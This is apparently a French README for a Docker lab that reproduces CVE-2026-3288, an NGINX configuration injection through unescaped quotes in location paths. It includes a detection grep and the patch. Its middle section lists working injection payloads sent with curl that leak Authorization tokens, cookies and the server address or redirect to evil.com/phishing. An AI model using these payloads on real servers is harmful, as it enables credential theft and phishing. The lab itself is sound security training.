CVE-2026-3288-lab/
├── README.md                          # Ce fichier
├── docker-compose.yml                 # Configuration principale du laboratoire
├── docker/
│   ├── nginx/
│   │   ├── Dockerfile                # Configuration NGINX vulnérable
│   │   ├── nginx.conf                # Configuration de base
│   │   └── vulnerable-config.conf    # Gestion vulnérable des chemins
│   └── backend/
│       ├── Dockerfile                # Application backend simple
│       └── app.py                    # Application Flask
├── exploits/
│   ├── exploit.py                    # Script d'exploitation automatisé
│   ├── payloads.txt                  # Collection de payloads d'exploitation
│   └── test-exploits.sh              # Teste toutes les exploitations
├── detection/
│   └── monitor-logs.sh               # Surveille les tentatives d'exploitation
└── cleanup/
    └── cleanup.sh                    # Supprime toutes les ressources du laboratoire

cd CVE-2026-3288-lab

# Démarrer l'environnement vulnérable
docker-compose up -d

# Vérifier le statut
docker-compose ps

# Tester que le backend fonctionne
curl http://localhost:8080/

# Tester que NGINX fonctionne
curl http://localhost/

cd exploits

# Exploitation automatisée
python3 exploit.py --all

# Ou tester les exploits individuellement
bash test-exploits.sh

# Surveiller les journaux NGINX pour détecter les exploitations
docker-compose logs -f nginx

# Surveillance de détection
cd detection
bash monitor-logs.sh

docker-compose down -v

/api" return 200 "HACKED BY ATTACKER

curl 'http://localhost/api" return 200 "HACKED'

/login" return 200 "Token: $http_authorization

curl -H "Authorization: Bearer secret123" 'http://localhost/login" return 200 "Token: $http_authorization'

/" return 302 "https://evil.com/phishing

curl -I 'http://localhost/" return 302 "https://evil.com/phishing'

/" return 200 "Internal IP: $server_addr

curl 'http://localhost/" return 200 "Internal IP: $server_addr'

/" return 200 "Cookies: $http_cookie

curl -H "Cookie: session=abc123" 'http://localhost/" return 200 "Cookies: $http_cookie'

# Configuration vulnérable
location ~ "^/api" {
    rewrite "(?i)/api" /backend break;
    proxy_pass http://backend;
}

# Entrée de l'attaquant : /api" return 200 "HACKED
# Résultat :
location ~ "^/api" return 200 "HACKED" {
    # La configuration d'origine est maintenant cassée
}

# Rechercher les motifs suspects
docker-compose logs nginx | grep -E '(return|rewrite|set).*"'

# Vérifier la configuration NGINX pour les directives injectées
docker exec cve-2026-3288-nginx cat /etc/nginx/nginx.conf | grep -A5 "location"

// Avant (vulnérable)
path := location.Path
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

// Après (corrigé)
path := sanitizeQuotedRegex(location.Path)
config := fmt.Sprintf(`rewrite "(?i)%s" %s break;`, path, target)

# Vérifier les journaux
docker-compose logs

# Redémarrer
docker-compose restart

# Changer les ports dans docker-compose.yml
# Ou arrêter les services conflictuels
sudo lsof -i :80

# Vérifier que NGINX fonctionne
docker-compose ps nginx

# Vérifier la configuration NGINX
docker exec cve-2026-3288-nginx nginx -t